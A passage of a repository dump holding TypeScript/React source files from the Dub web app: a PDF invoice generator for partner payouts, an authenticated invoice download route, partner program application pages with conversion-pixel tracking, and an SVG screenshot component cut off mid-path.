    "content": "import { FAST_ACH_FEE_CENTS } from \"@/lib/constants/payouts\";\nimport { stripe } from \"@/lib/stripe\";\nimport { prisma } from \"@dub/prisma\";\nimport { Invoice, Project } from \"@dub/prisma/client\";\nimport {\n  APP_DOMAIN,\n  currencyFormatter,\n  DUB_WORDMARK,\n  EU_COUNTRY_CODES,\n  formatDate,\n  nFormatter,\n  OG_AVATAR_URL,\n} from \"@dub/utils\";\nimport {\n  Document,\n  Image,\n  Link,\n  Page,\n  renderToBuffer,\n  Text,\n  View,\n} from \"@react-pdf/renderer\";\nimport { endOfMonth, startOfMonth } from \"date-fns\";\nimport { createTw } from \"react-pdf-tailwind\";\nimport Stripe from \"stripe\";\n\nconst tw = createTw({\n  theme: {\n    fontFamily: {\n      //\n    },\n  },\n});\n\nexport async function PartnerPayoutInvoice({\n  invoice,\n  workspace,\n}: {\n  invoice: Invoice;\n  workspace: Pick<Project, \"id\" | \"name\" | \"slug\" | \"stripeId\">;\n}) {\n  const firstEightPayouts = await prisma.payout.findMany({\n    where: {\n      invoiceId: invoice.id,\n    },\n    select: {\n      periodStart: true,\n      periodEnd: true,\n      amount: true,\n      partner: {\n        select: {\n          name: true,\n          image: true,\n        },\n      },\n    },\n    take: 8,\n    orderBy: {\n      amount: \"desc\",\n    },\n  });\n\n  const totalPayouts = await prisma.payout.count({\n    where: {\n      invoiceId: invoice.id,\n    },\n  });\n\n  // Show first 5 partners, hide last 3, and show \"View +N more\" if there are more than 8 total\n  const visiblePayouts = firstEightPayouts.slice(0, 5);\n  const hiddenPayouts = firstEightPayouts.slice(5, 8); // Last 3 partners for stacked avatars\n  const remainingPayoutsTotal = totalPayouts - firstEightPayouts.length;\n\n  let customer: Stripe.Customer | null = null;\n\n  if (workspace.stripeId) {\n    try {\n      const response = await stripe.customers.retrieve(workspace.stripeId, {\n        expand: [\"tax_ids\"],\n      });\n      console.log(\"response\", JSON.stringify(response, null, 2));\n      customer = response as Stripe.Customer;\n    } catch (error) {\n      console.error(error);\n    }\n  }\n\n  const { amount: chargeAmount, currency: chargeCurrency } =\n    invoice.stripeChargeMetadata\n      ? (invoice.stripeChargeMetadata as unknown as Stripe.Charge)\n      : { amount: undefined, currency: undefined };\n\n  const earliestPeriodStart = visiblePayouts.reduce(\n    (acc, payout) => {\n      if (!acc) return payout.periodStart;\n      if (!payout.periodStart) return acc;\n      return payout.periodStart < (acc as Date) ? payout.periodStart : acc;\n    },\n    null as Date | null,\n  );\n\n  const latestPeriodEnd = visiblePayouts.reduce(\n    (acc, payout) => {\n      if (!acc) return payout.periodEnd;\n      if (!payout.periodEnd) return acc;\n      return payout.periodEnd > (acc as Date) ? payout.periodEnd : acc;\n    },\n    null as Date | null,\n  );\n\n  const invoiceMetadata = [\n    {\n      label: \"Invoice number\",\n      value: `#${invoice.number}`,\n    },\n    {\n      label: \"Date of issue\",\n      value: formatDate(invoice.createdAt, {\n        month: \"short\",\n        day: \"2-digit\",\n        year: \"numeric\",\n        timeZone: \"UTC\",\n      }),\n    },\n    {\n      label: \"Payout period\",\n      value: `${formatDate(\n        startOfMonth(earliestPeriodStart || invoice.createdAt),\n        {\n          month: \"short\",\n          year: \"numeric\",\n        },\n      )} - ${formatDate(endOfMonth(latestPeriodEnd || invoice.createdAt), {\n        month: \"short\",\n        year: \"numeric\",\n      })}`,\n    },\n  ];\n\n  const EU_CUSTOMER =\n    customer?.address?.country &&\n    EU_COUNTRY_CODES.includes(customer.address.country);\n  const AU_CUSTOMER =\n    customer?.address?.country && customer.address.country === \"AU\";\n\n  const nonUsdTransactionDisplay =\n    chargeAmount && chargeCurrency && chargeCurrency !== \"usd\"\n      ? ` (${currencyFormatter(chargeAmount, {\n          currency: chargeCurrency.toUpperCase(),\n        })})`\n      : \"\";\n\n  const fastAchFee =\n    invoice.paymentMethod === \"ach_fast\" ? FAST_ACH_FEE_CENTS : 0;\n\n  // guard against invalid invoice amounts\n  if (invoice.amount === 0) {\n    throw new Error(\"Invoice amount cannot be zero\");\n  }\n  if (invoice.fee < fastAchFee) {\n    throw new Error(\"Invoice fee cannot be less than Fast ACH fee\");\n  }\n\n  const invoiceSummaryDetails = [\n    {\n      label: \"Invoice amount\",\n      value: currencyFormatter(invoice.amount),\n    },\n    {\n      label: `Platform fees (${Math.round(((invoice.fee - fastAchFee) / invoice.amount) * 100)}%)`,\n      value: `${currencyFormatter(invoice.fee - fastAchFee)}`,\n    },\n    ...(fastAchFee > 0\n      ? [\n          {\n            label: \"Fast ACH fees\",\n            value: currencyFormatter(fastAchFee),\n          },\n        ]\n      : []),\n    {\n      label: \"Invoice total\",\n      value: `${currencyFormatter(invoice.total)}${nonUsdTransactionDisplay}`,\n    },\n    // if customer is in EU or AU, add VAT/GST reverse charge note\n    ...(EU_CUSTOMER || AU_CUSTOMER\n      ? [\n          {\n            label: `${AU_CUSTOMER ? \"GST\" : \"VAT\"} reverse charge`,\n            value: \"Tax to be paid on reverse charge basis.\",\n          },\n        ]\n      : []),\n  ];\n\n  // Get the first tax ID if available\n  const primaryTaxId = customer?.tax_ids?.data?.[0];\n\n  const addresses = [\n    {\n      title: \"From\",\n      address: {\n        name: \"Dub Technologies, Inc.\",\n        line1: \"2261 Market Street STE 5906\",\n        city: \"San Francisco\",\n        state: \"CA\",\n        postalCode: \"94114\",\n      },\n    },\n    {\n      title: \"Bill to\",\n      address: {\n        name: customer?.name || workspace.name,\n        line1: customer?.address?.line1,\n        line2: customer?.address?.line2,\n        city: customer?.address?.city,\n        state: customer?.address?.state,\n        postalCode: customer?.address?.postal_code,\n        email: customer?.email,\n        taxId: primaryTaxId ? `Tax ID: ${primaryTaxId.value}` : undefined,\n      },\n    },\n  ];\n\n  return await renderToBuffer(\n    <Document>\n      <Page size=\"A4\" style={tw(\"p-20 bg-white\")}>\n        <View style={tw(\"flex-row justify-between items-center mb-4\")}>\n          <Image src={DUB_WORDMARK} style={tw(\"w-20 h-10\")} />\n        </View>\n\n        <View style={tw(\"flex-col gap-2 text-sm font-medium mb-10\")}>\n          {invoiceMetadata.map((row) => (\n            <View style={tw(\"flex-row\")} key={row.label}>\n              <Text style={tw(\"text-neutral-500 w-1/5\")}>{row.label}</Text>\n              <Text style={tw(\"text-neutral-800 w-4/5\")}>{row.value}</Text>\n            </View>\n          ))}\n        </View>\n\n        <View style={tw(\"flex-row justify-between mb-4\")}>\n          {addresses.map(({ title, address }, index) => {\n            const cityStatePostal = [\n              address.city,\n              address.state,\n              address.postalCode,\n            ]\n              .filter(Boolean)\n              .join(\", \");\n\n            const records = [\n              address.name,\n              address.line1,\n              address.line2,\n              cityStatePostal,\n              address.taxId,\n              address.email,\n            ].filter((record) => record && record.length > 0);\n\n            return (\n              <View style={tw(\"w-1/2\")} key={index}>\n                <Text\n                  style={tw(\n                    \"text-sm font-medium text-neutral-800 leading-6 mb-2\",\n                  )}\n                >\n                  {title}\n                </Text>\n                {records.map((record, index) => (\n                  <Text\n                    style={tw(\"font-normal text-sm text-neutral-500 leading-6\")}\n                    key={index}\n                  >\n                    {record}\n                  </Text>\n                ))}\n              </View>\n            );\n          })}\n        </View>\n\n        <View\n          style={tw(\n            \"flex-row justify-between border border-neutral-200 rounded-xl mb-6\",\n          )}\n        >\n          <View style={tw(\"flex-col gap-2 w-1/2 p-4\")}>\n            <Text style={tw(\"text-neutral-500 font-normal text-sm\")}>\n              Payouts\n            </Text>\n            <Text style={tw(\"text-neutral-800 font-medium text-[16px]\")}>\n              {nFormatter(totalPayouts, { full: true })}\n            </Text>\n          </View>\n\n          <View\n            style={tw(\n              \"flex-col items-start gap-2 border-l border-neutral-200 w-1/2 p-4\",\n            )}\n          >\n            <Text style={tw(\"text-neutral-500 font-normal text-sm\")}>\n              Total\n            </Text>\n            <Text style={tw(\"text-neutral-800 font-medium text-[16px]\")}>\n              {currencyFormatter(invoice.total)}\n            </Text>\n          </View>\n        </View>\n\n        {visiblePayouts.length > 0 && (\n          <View style={tw(\"mb-6 border border-neutral-200 rounded-xl\")}>\n            <View style={tw(\"flex-row border-neutral-200 border-b\")}>\n              <Text\n                style={tw(\"w-2/6 p-3.5 text-sm font-medium text-neutral-700\")}\n              >\n                Partner\n              </Text>\n              <Text\n                style={tw(\"w-2/6 p-3.5 text-sm font-medium text-neutral-700\")}\n              >\n                Period\n              </Text>\n              <Text\n                style={tw(\"w-1/6 p-3.5 text-sm font-medium text-neutral-700\")}\n              >\n                Amount\n              </Text>\n            </View>\n\n            {visiblePayouts.map((payout, index) => (\n              <View\n                key={index}\n                style={tw(\n                  `flex-row text-sm font-medium text-neutral-700 border-neutral-200 items-center ${index + 1 === visiblePayouts.length ? \"\" : \"border-b\"}`,\n                )}\n              >\n                <View style={tw(\"flex-row items-center gap-2 w-2/6 p-3.5\")}>\n                  <Image\n                    src={\n                      payout.partner.image ??\n                      `${OG_AVATAR_URL}${payout.partner.name}`\n                    }\n                    style={tw(\"w-5 h-5 rounded-full\")}\n                  />\n                  <Text>{payout.partner.name}</Text>\n                </View>\n                <Text style={tw(\"w-2/6 p-3.5\")}>\n                  {payout.periodStart && payout.periodEnd ? (\n                    <>\n                      {formatDate(payout.periodStart, {\n                        month: \"short\",\n                        year:\n                          new Date(payout.periodStart).getFullYear() ===\n                          new Date(payout.periodEnd).getFullYear()\n                            ? undefined\n                            : \"numeric\",\n                      })}\n                      -{formatDate(payout.periodEnd, { month: \"short\" })}\n                    </>\n                  ) : (\n                    \"-\"\n                  )}\n                </Text>\n                <Text style={tw(\"w-1/6 p-3.5\")}>\n                  {currencyFormatter(payout.amount)}\n                </Text>\n              </View>\n            ))}\n\n            {/* Stacked avatars and View +N more row */}\n            {(hiddenPayouts.length > 0 || remainingPayoutsTotal > 0) && (\n              <View\n                style={tw(\n                  \"flex-row items-center gap-2 p-3.5 w-full text-sm font-medium text-neutral-700 border-neutral-200 border-t\",\n                )}\n              >\n                {/* Stacked avatars for hidden partners */}\n                <View style={tw(\"flex-row -space-x-1\")}>\n                  {hiddenPayouts.slice(0, 4).map((payout, index) => (\n                    <Image\n                      key={index}\n                      src={\n                        payout.partner.image ??\n                        `${OG_AVATAR_URL}${payout.partner.name}`\n                      }\n                      style={tw(\n                        \"h-5 w-5 shrink-0 rounded-full border border-white\",\n                      )}\n                    />\n                  ))}\n                </View>\n                <Link\n                  href={`${APP_DOMAIN}/${workspace.slug}/program/payouts?invoiceId=${invoice.id}`}\n                  style={tw(\"text-blue-600\")}\n                >\n                  View +\n                  {nFormatter(hiddenPayouts.length + remainingPayoutsTotal, {\n                    full: true,\n                  })}{\" \"}\n                  more payouts\n                </Link>\n              </View>\n            )}\n          </View>\n        )}\n\n        <View\n          style={tw(\n            \"flex-col gap-2 mb-10 p-4 border border-neutral-100 rounded-xl bg-neutral-50\",\n          )}\n        >\n          {invoiceSummaryDetails.map((row) => (\n            <View style={tw(\"flex-row\")} key={row.label}>\n              <Text style={tw(\"text-neutral-500 text-sm font-medium w-2/5\")}>\n                {row.label}\n              </Text>\n              <Text style={tw(\"text-neutral-800 text-sm font-medium w-3/5\")}>\n                {row.value}\n              </Text>\n            </View>\n          ))}\n        </View>\n\n        <Text style={tw(\"text-sm text-neutral-600 mt-6\")}>\n          If you have any questions,{\" \"}\n          <Link href=\"https://dub.co/help\" style={tw(\"text-neutral-900\")}>\n            visit our help center\n          </Link>{\" \"}\n          or{\" \"}\n          <Link href=\"https://dub.co/support\" style={tw(\"text-neutral-900\")}>\n            reach out to our support team\n          </Link>\n          .\n        </Text>\n      </Page>\n    </Document>,\n  );\n}\n"
  },
  {
    "path": "apps/web/app/(ee)/app.dub.co/invoices/[invoiceId]/route.tsx",
    "content": "import { DubApiError } from \"@/lib/api/errors\";\nimport { withSession } from \"@/lib/auth\";\nimport { prisma } from \"@dub/prisma\";\nimport { DomainRenewalInvoice } from \"./domain-renewal-invoice\";\nimport { PartnerPayoutInvoice } from \"./partner-payout-invoice\";\n\nexport const dynamic = \"force-dynamic\";\n\nexport const GET = withSession(async ({ session, params }) => {\n  const { invoiceId } = params;\n\n  const invoice = await prisma.invoice.findUniqueOrThrow({\n    where: {\n      id: invoiceId,\n    },\n    include: {\n      workspace: {\n        select: {\n          id: true,\n          name: true,\n          slug: true,\n          stripeId: true,\n        },\n      },\n    },\n  });\n\n  if (invoice.status === \"failed\") {\n    throw new DubApiError({\n      code: \"bad_request\",\n      message:\n        \"This invoice is not available for download since the payment failed.\",\n    });\n  }\n\n  const userInWorkspace = await prisma.projectUsers.findUnique({\n    where: {\n      userId_projectId: {\n        userId: session.user.id,\n        projectId: invoice.workspace.id,\n      },\n    },\n  });\n\n  if (!userInWorkspace) {\n    throw new DubApiError({\n      code: \"unauthorized\",\n      message: \"You are not authorized to view this invoice.\",\n    });\n  }\n\n  let pdf: Buffer | null = null;\n\n  if (invoice.type === \"partnerPayout\") {\n    pdf = await PartnerPayoutInvoice({\n      invoice,\n      workspace: invoice.workspace,\n    });\n  } else if (invoice.type === \"domainRenewal\") {\n    pdf = await DomainRenewalInvoice({\n      invoice,\n      workspace: invoice.workspace,\n    });\n  }\n\n  if (!pdf) {\n    throw new DubApiError({\n      code: \"bad_request\",\n      message: `Invoice ${invoiceId} not found in workspace.`,\n    });\n  }\n\n  return new Response(new Uint8Array(pdf), {\n    headers: {\n      \"Content-Type\": \"application/pdf\",\n      \"Content-Disposition\": `inline; filename=\"dub-invoice-${invoice.number}.pdf\"`,\n    },\n  });\n});\n"
  },
  {
    "path": "apps/web/app/(ee)/app.dub.co/layout.tsx",
    "content": "export { default } from \"../../app.dub.co/layout\";\n"
  },
  {
    "path": "apps/web/app/(ee)/partners.dub.co/(apply)/[programSlug]/(default)/apply/page.tsx",
    "content": "import { getProgram } from \"@/lib/fetchers/get-program\";\nimport { DEFAULT_PARTNER_GROUP } from \"@/lib/zod/schemas/groups\";\nimport { programApplicationFormSchema } from \"@/lib/zod/schemas/program-application-form\";\nimport { ApplicationFormHero } from \"@/ui/partners/groups/design/application-form/application-hero-preview\";\nimport { ProgramApplicationForm } from \"@/ui/partners/groups/design/application-form/program-application-form\";\nimport { LanderRewards } from \"@/ui/partners/lander/lander-rewards\";\nimport { notFound, redirect } from \"next/navigation\";\nimport { CSSProperties } from \"react\";\nimport { ApplyHeader } from \"../header\";\n\nexport default async function ApplicationPage(props: {\n  params: Promise<{ programSlug: string; groupSlug?: string }>;\n}) {\n  const params = await props.params;\n\n  const { programSlug, groupSlug } = params;\n\n  const partnerGroupSlug = groupSlug ?? DEFAULT_PARTNER_GROUP.slug;\n\n  const program = await getProgram({\n    slug: programSlug,\n    groupSlug: partnerGroupSlug,\n  });\n\n  if (\n    !program ||\n    !program.group ||\n    !program.group.applicationFormData ||\n    !program.group.applicationFormPublishedAt\n  ) {\n    // throw 404 if it's the default group, else redirect to the default group page\n    if (partnerGroupSlug === DEFAULT_PARTNER_GROUP.slug) {\n      notFound();\n    } else {\n      redirect(`/${programSlug}/apply`);\n    }\n  }\n\n  const applicationFormData = programApplicationFormSchema.parse(\n    program.group.applicationFormData || {},\n  );\n\n  return (\n    <div\n      className=\"relative\"\n      style={\n        {\n          \"--brand\": program.group.brandColor || \"#000000\",\n          \"--brand-ring\": \"rgb(from var(--brand) r g b / 0.2)\",\n        } as CSSProperties\n      }\n    >\n      <ApplyHeader group={program.group} showApply={false} />\n      <div className=\"p-6\">\n        {/* Hero section */}\n        <ApplicationFormHero\n          program={program}\n          applicationFormData={applicationFormData}\n        />\n\n        <LanderRewards\n          className=\"mt-10\"\n          rewards={program.rewards}\n          discount={program.discount}\n          bounties={program.group.bounties}\n        />\n\n        {/* Application form */}\n        <div className=\"mt-10\">\n          <ProgramApplicationForm program={program} group={program.group} />\n        </div>\n      </div>\n    </div>\n  );\n}\n"
  },
  {
    "path": "apps/web/app/(ee)/partners.dub.co/(apply)/[programSlug]/(default)/apply/success/cta-buttons.tsx",
    "content": "\"use client\";\n\nimport { Button } from \"@dub/ui\";\nimport { useSession } from \"next-auth/react\";\nimport Link from \"next/link\";\nimport { useParams } from \"next/navigation\";\n\nexport function CTAButtons() {\n  const { programSlug } = useParams();\n  const { status } = useSession();\n\n  const slugPrefix = programSlug ? `/${programSlug}` : \"\";\n\n  return (\n    <>\n      <Link href={status === \"authenticated\" ? \"/\" : `${slugPrefix}/register`}>\n        <Button\n          type=\"button\"\n          text={\n            status === \"authenticated\"\n              ? \"Continue to Dub Partners\"\n              : \"Create your Dub Partners account\"\n          }\n          className=\"border-[var(--brand)] bg-[var(--brand)] hover:bg-[var(--brand)] hover:ring-[var(--brand-ring)]\"\n        />\n      </Link>\n      {status === \"unauthenticated\" && (\n        <Link href={`${slugPrefix}/login`}>\n          <Button\n            type=\"button\"\n            variant=\"secondary\"\n            text=\"Log in to Dub Partners\"\n          />\n        </Link>\n      )}\n    </>\n  );\n}\n"
  },
  {
    "path": "apps/web/app/(ee)/partners.dub.co/(apply)/[programSlug]/(default)/apply/success/page.tsx",
    "content": "import { getProgram } from \"@/lib/fetchers/get-program\";\nimport { DEFAULT_PARTNER_GROUP } from \"@/lib/zod/schemas/groups\";\nimport { prisma } from \"@dub/prisma\";\nimport { Logo } from \"@dub/ui\";\nimport { BoltFill, CursorRays, LinesY, MoneyBills2 } from \"@dub/ui/icons\";\nimport { OG_AVATAR_URL } from \"@dub/utils\";\nimport { Store } from \"lucide-react\";\nimport { notFound, redirect } from \"next/navigation\";\nimport { CSSProperties } from \"react\";\nimport { ApplyHeader } from \"../../header\";\nimport { CTAButtons } from \"./cta-buttons\";\nimport { PixelConversion } from \"./pixel-conversion\";\nimport { Screenshot } from \"./screenshot\";\n\nexport const dynamic = \"force-dynamic\";\n\nconst FEATURES = [\n  {\n    icon: Store,\n    title: \"Join other programs\",\n    description:\n      \"Our expanding marketplace is full of high-quality programs. We guarantee their quality.\",\n  },\n  {\n    icon: MoneyBills2,\n    title: \"Get paid how you want\",\n    description:\n      \"Connect your paoyut details and receive payouts from the programs you partner with.\",\n  },\n  {\n    icon: LinesY,\n    title: \"Full analytics\",\n    description:\n      \"View how your efforts are doing and how much you've earned with our program analytics.\",\n  },\n  {\n    icon: CursorRays,\n    title: \"Track everything\",\n    description:\n      \"Dub gives you the power to track every click, lead, and conversion. Knowledge of non-knowledge is power.\",\n  },\n];\n\nexport default async function SuccessPage(props: {\n  params: Promise<{ programSlug: string; groupSlug?: string }>;\n  searchParams: Promise<{ applicationId?: string; enrollmentId?: string }>;\n}) {\n  const searchParams = await props.searchParams;\n\n  const { applicationId, enrollmentId } = searchParams;\n\n  const params = await props.params;\n\n  const { programSlug, groupSlug } = params;\n\n  const partnerGroupSlug = groupSlug ?? DEFAULT_PARTNER_GROUP.slug;\n\n  const program = await getProgram({\n    slug: programSlug,\n    groupSlug: partnerGroupSlug,\n  });\n\n  if (\n    !program ||\n    !program.group ||\n    !program.group.applicationFormData ||\n    !program.group.applicationFormPublishedAt\n  ) {\n    // throw 404 if it's the default group, else redirect to the default group page\n    if (partnerGroupSlug === DEFAULT_PARTNER_GROUP.slug) {\n      notFound();\n    } else {\n      redirect(`/${programSlug}/apply`);\n    }\n  }\n\n  const application = applicationId\n    ? await prisma.programApplication.findUnique({\n        where: {\n          id: applicationId,\n        },\n      })\n    : null;\n\n  const hasPartnerProfile = !!enrollmentId;\n\n  return (\n    <>\n      {program.slug === \"perplexity\" && <PixelConversion />}\n      <div\n        className=\"relative\"\n        style={\n          {\n            \"--brand\": program.group.brandColor || \"#000000\",\n            \"--brand-ring\": \"rgb(from var(--brand) r g b / 0.2)\",\n          } as CSSProperties\n        }\n      >\n        <ApplyHeader\n          group={program.group}\n          showLogin={false}\n          showApply={false}\n        />\n        <div className=\"p-6\">\n          <div className=\"grid grid-cols-1 gap-5 sm:pt-20\">\n            <span className=\"w-fit rounded-md bg-neutral-100 px-2 py-1 text-xs font-medium text-neutral-700\">\n              Step 2 of 2\n            </span>\n            <h1 className=\"text-4xl font-semibold\">\n              {hasPartnerProfile\n                ? \"Application submitted\"\n                : \"Finish your application\"}\n            </h1>\n            <div className=\"flex flex-col gap-4 text-base text-neutral-700\">\n              {hasPartnerProfile && (\n                <p>\n                  Your application has been submitted for review.\n                  {application && (\n                    <>\n                      {\" \"}\n                      You'll receive an update at{\" \"}\n                      <strong className=\"font-semibold\">\n                        {application.email}\n                      </strong>\n                      .\n                    </>\n                  )}\n                </p>\n              )}\n              {!hasPartnerProfile && (\n                <p>\n                  Your application to{\" \"}\n                  <strong className=\"font-semibold\">{program.name}</strong> has\n                  been saved, but you still need to create your{\" \"}\n                  <strong className=\"font-semibold\">Dub Partners</strong>{\" \"}\n                  account to complete your application.\n                  <br />\n                  <br />\n                  Once you create your account, your application will be\n                  submitted to <b>{program.name}</b> and you'll hear back from\n                  them{\" \"}\n                  <strong className=\"font-semibold\">\n                    {application?.email\n                      ? `at ${application.email}`\n                      : \"via email\"}\n                  </strong>\n                  .\n                </p>\n              )}\n            </div>\n          </div>\n\n          {/* Buttons */}\n          <div className=\"mt-12 flex flex-col gap-3\">\n            <CTAButtons />\n          </div>\n\n          {/* Screenshot */}\n          <div className=\"relative mt-16\">\n            <Screenshot\n              program={{ name: program.name, logo: program.logo }}\n              className=\"h-auto w-full [mask-image:linear-gradient(black_80%,transparent)]\"\n            />\n            <div className=\"absolute bottom-0 left-1/2 -translate-x-1/2\">\n              <div className=\"absolute -inset-[50%] rounded-full bg-white blur-lg\" />\n\n              {programSlug !== \"dub\" && (\n                <div className=\"relative flex items-center gap-2 rounded-full border border-neutral-100 bg-gradient-to-b from-white to-neutral-50 p-2 shadow-[0_8px_28px_0_#00000017]\">\n                  <img\n                    className=\"size-10 shrink-0 rounded-full\"\n                    src={program.logo || `${OG_AVATAR_URL}${program.name}`}\n                    alt={`${program.name} logo`}\n                  />\n                  <BoltFill className=\"shrink-0 text-[var(--brand)] opacity-30\" />\n                  <Logo className=\"size-10 shrink-0\" />\n                </div>\n              )}\n            </div>\n          </div>\n\n          {/* Feature grid */}\n          <div className=\"mt-16 grid grid-cols-1 gap-10 sm:grid-cols-2\">\n            {FEATURES.map(({ icon: Icon, title, description }) => (\n              <div key={title} className=\"flex flex-col gap-2.5 text-sm\">\n                <Icon className=\"size-4 shrink-0 text-[var(--brand)]\" />\n                <h3 className=\"font-semibold text-neutral-900\">{title}</h3>\n                <p className=\"text-neutral-500\">{description}</p>\n              </div>\n            ))}\n          </div>\n        </div>\n      </div>\n    </>\n  );\n}\n"
  },
  {
    "path": "apps/web/app/(ee)/partners.dub.co/(apply)/[programSlug]/(default)/apply/success/pixel-conversion.tsx",
    "content": "\"use client\";\n\nimport { ClientOnly } from \"@dub/ui\";\nimport { useSearchParams } from \"next/navigation\";\nimport { Suspense, useEffect } from \"react\";\n\ndeclare global {\n  interface Window {\n    fbq?: (action: string, event: string, params?: Record<string, any>) => void;\n    lintrk?: (\n      action: string,\n      event: string | Record<string, any>,\n      params?: Record<string, any>,\n    ) => void;\n  }\n}\n\nexport function PixelConversion() {\n  return (\n    <ClientOnly>\n      <Suspense>\n        <PixelConversionHelper />\n      </Suspense>\n    </ClientOnly>\n  );\n}\n\nfunction PixelConversionHelper() {\n  const searchParams = useSearchParams();\n  const applicationId = searchParams.get(\"applicationId\");\n\n  useEffect(() => {\n    if (applicationId && typeof window !== \"undefined\") {\n      // Meta conversion tracking\n      if (window.fbq) {\n        window.fbq(\"track\", \"application submitted\");\n      }\n      // LinkedIn conversion tracking\n      if (window.lintrk) {\n        window.lintrk(\"track\", { conversion_id: 24025098 });\n      }\n    }\n  }, [applicationId]);\n\n  return <></>;\n}\n"
  },
  {
    "path": "apps/web/app/(ee)/partners.dub.co/(apply)/[programSlug]/(default)/apply/success/screenshot.tsx",
    "content": "import { ProgramProps } from \"@/lib/types\";\nimport { cn, OG_AVATAR_URL, truncate } from \"@dub/utils\";\nimport { SVGProps, useId } from \"react\";\n\nexport function Screenshot({\n  program,\n  ...rest\n}: { program: Pick<ProgramProps, \"name\" | \"logo\"> } & SVGProps<SVGSVGElement>) {\n  const id = useId();\n  return (\n    <svg\n      width=\"1200\"\n      height=\"631\"\n      fill=\"none\"\n      viewBox=\"0 0 1200 631\"\n      {...rest}\n      className={cn(\"select-none text-[var(--brand)]\", rest.className)}\n    >\n      <g clipPath={`url(#${id}-a)`}>\n        <path\n          fill=\"#e5e5e5\"\n          d=\"M0 16C0 7.163 7.163 0 16 0h1168c8.84 0 16 7.163 16 16v614.089H0z\"\n        />\n        <path fill=\"#e5e5e5\" d=\"M0 0h46v630.089H0z\" />\n        <path\n          fill=\"#171717\"\n          fillRule=\"evenodd\"\n          d=\"M15.636 22.714h1.755v11.209h-1.755v-.74a4.05 4.05 0 0 1-2.339.74c-2.261 0-4.094-1.849-4.094-4.13s1.833-4.13 4.094-4.13c.87 0 1.676.274 2.34.74zm-2.339 9.44a2.35 2.35 0 0 0 2.34-2.36 2.35 2.35 0 0 0-2.34-2.36 2.35 2.35 0 0 0-2.34 2.36 2.35 2.35 0 0 0 2.34 2.36M27.918 22.714h1.754v3.69a4.05 4.05 0 0 1 2.34-.74c2.26 0 4.094 1.849 4.094 4.13s-1.833 4.13-4.094 4.13-4.094-1.85-4.094-4.13zm4.094 9.44a2.35 2.35 0 0 0 2.34-2.36 2.35 2.35 0 0 0-2.34-2.36 2.35 2.35 0 0 0-2.34 2.36 2.35 2.35 0 0 0 2.34 2.36\"\n          clipRule=\"evenodd\"\n        />\n        <path\n          fill=\"#171717\"\n          d=\"M20.315 25.664H18.56v4.13a4.16 4.16 0 0 0 1.2 2.92 4.064 4.064 0 0 0 5.79 0 4.13 4.13 0 0 0 1.198-2.92v-4.13h-1.754v4.13a2.37 2.37 0 0 1-.686 1.668 2.33 2.33 0 0 1-3.308 0 2.37 2.37 0 0 1-.685-1.668z\"\n        />\n        <path\n          fill=\"#fff\"\n          d=\"M7.08 56.637a5.664 5.664 0 0 1 5.664-5.663h19.823a5.664 5.664 0 0 1 5.663 5.663V76.46a5.664 5.664 0 0 1-5.663 5.664H12.744A5.664 5.664 0 0 1 7.08 76.46z\"\n        />\n        <path\n          fill=\"#404040\"\n          d=\"M20.084 60.96a.357.357 0 0 0-.357-.358h-2.661a.357.357 0 0 0-.357.357v2.662c0 .197.16.357.357.357h2.661c.197 0 .357-.16.357-.357zM21.5 63.62c0 .979-.794 1.773-1.773 1.773h-2.661a1.773 1.773 0 0 1-1.773-1.773v-2.662c0-.979.794-1.772 1.773-1.773h2.661c.98 0 1.773.794 1.773 1.773zM28.602 60.96a.357.357 0 0 0-.356-.358h-2.662a.357.357 0 0 0-.357.357v2.662c0 .197.16.357.357.357h2.662c.197 0 .356-.16.356-.357zm1.416 2.661c0 .979-.793 1.773-1.772 1.773h-2.662a1.773 1.773 0 0 1-1.773-1.773v-2.662c0-.979.794-1.772 1.773-1.773h2.662c.979 0 1.772.794 1.772 1.773zM20.084 69.477a.357.357 0 0 0-.357-.356h-2.661a.357.357 0 0 0-.357.356v2.662c0 .197.16.357.357.357h2.661c.197 0 .357-.16.357-.357zM21.5 72.14c0 .98-.794 1.773-1.773 1.773h-2.661a1.773 1.773 0 0 1-1.773-1.773v-2.662c0-.979.794-1.772 1.773-1.772h2.661c.98 0 1.773.793 1.773 1.772zM28.602 69.477a.357.357 0 0 0-.356-.356h-2.662a.357.357 0 0 0-.357.356v2.662c0 .197.16.357.357.357h2.662c.197 0 .356-.16.356-.357zm1.416 2.662c0 .98-.793 1.773-1.772 1.773h-2.662a1.773 1.773 0 0 1-1.773-1.773v-2.662c0-.979.794-1.772 1.773-1.772h2.662c.979 0 1.772.793 1.772 1.772zM23.918 110.506a1.264 1.264 0 1 0-2.527 0 1.264 1.264 0 0 0 2.527 0m1.416 0a2.679 2.679 0 1 1-5.358 0 2.679 2.679 0 0 1 5.358 0\"\n        />\n        <path\n          fill=\"#404040\"\n          d=\"M29.094 107.302c0-.698-.566-1.264-1.264-1.264H17.48c-.698 0-1.264.566-1.264 1.264v6.408c0 .698.566 1.264 1.264 1.264H27.83c.698 0 1.263-.566 1.263-1.264zm1.416 6.408c0 1.48-1.2 2.68-2.68 2.68H17.48a2.68 2.68 0 0 1-2.68-2.68v-6.408c0-1.48 1.2-2.68 2.68-2.68H27.83c1.48 0 2.68 1.2 2.68 2.68z\"\n        />\n        <path\n          fill=\"#404040\"\n          d=\"M17.972 111.245a.74.74 0 1 0 0-1.479.74.74 0 0 0 0 1.479M27.338 111.245a.74.74 0 1 0 0-1.479.74.74 0 0 0 0 1.479M27.83 101.664a.708.708 0 0 1 0 1.416H17.48a.708.708 0 0 1 0-1.416zM23.746 150.669a1.079 1.079 0 1 0-2.158 0 1.079 1.079 0 0 0 2.158 0m1.416 0a2.495 2.495 0 1 1-4.99 0 2.495 2.495 0 0 1 4.99 0M22.667 154.301a4.794 4.794 0 0 1 4.757 4.195.708.708 0 0 1-1.406.175 3.378 3.378 0 0 0-6.702 0 .708.708 0 1 1-1.405-.175 4.794 4.794 0 0 1 4.756-4.195\"\n        />\n        <path\n          fill=\"#404040\"\n          d=\"M15.576 156.542v-8.682a2.75 2.75 0 0 1 2.75-2.75h5.124a.708.708 0 0 1 0 1.416h-5.124c-.737 0-1.334.598-1.334 1.334v8.682c0 .736.597 1.334 1.334 1.334h8.682c.737 0 1.334-.598 1.334-1.334v-5.171a.708.708 0 0 1 1.416 0v5.171a2.75 2.75 0 0 1-2.75 2.75h-8.682a2.75 2.75 0 0 1-2.75-2.75M31.44 145.448l-1.548-.517-.516-1.547c-.167-.5-.996-.5-1.163 0l-.516 1.547-1.547.517a.612.612 0 0 0 0 1.162l1.547.517.516 1.547a.613.613 0 0 0 1.164 0l.516-1.547 1.547-.517a.61.61 0 0 0 0-1.162M13.688 193.154a7.29 7.29 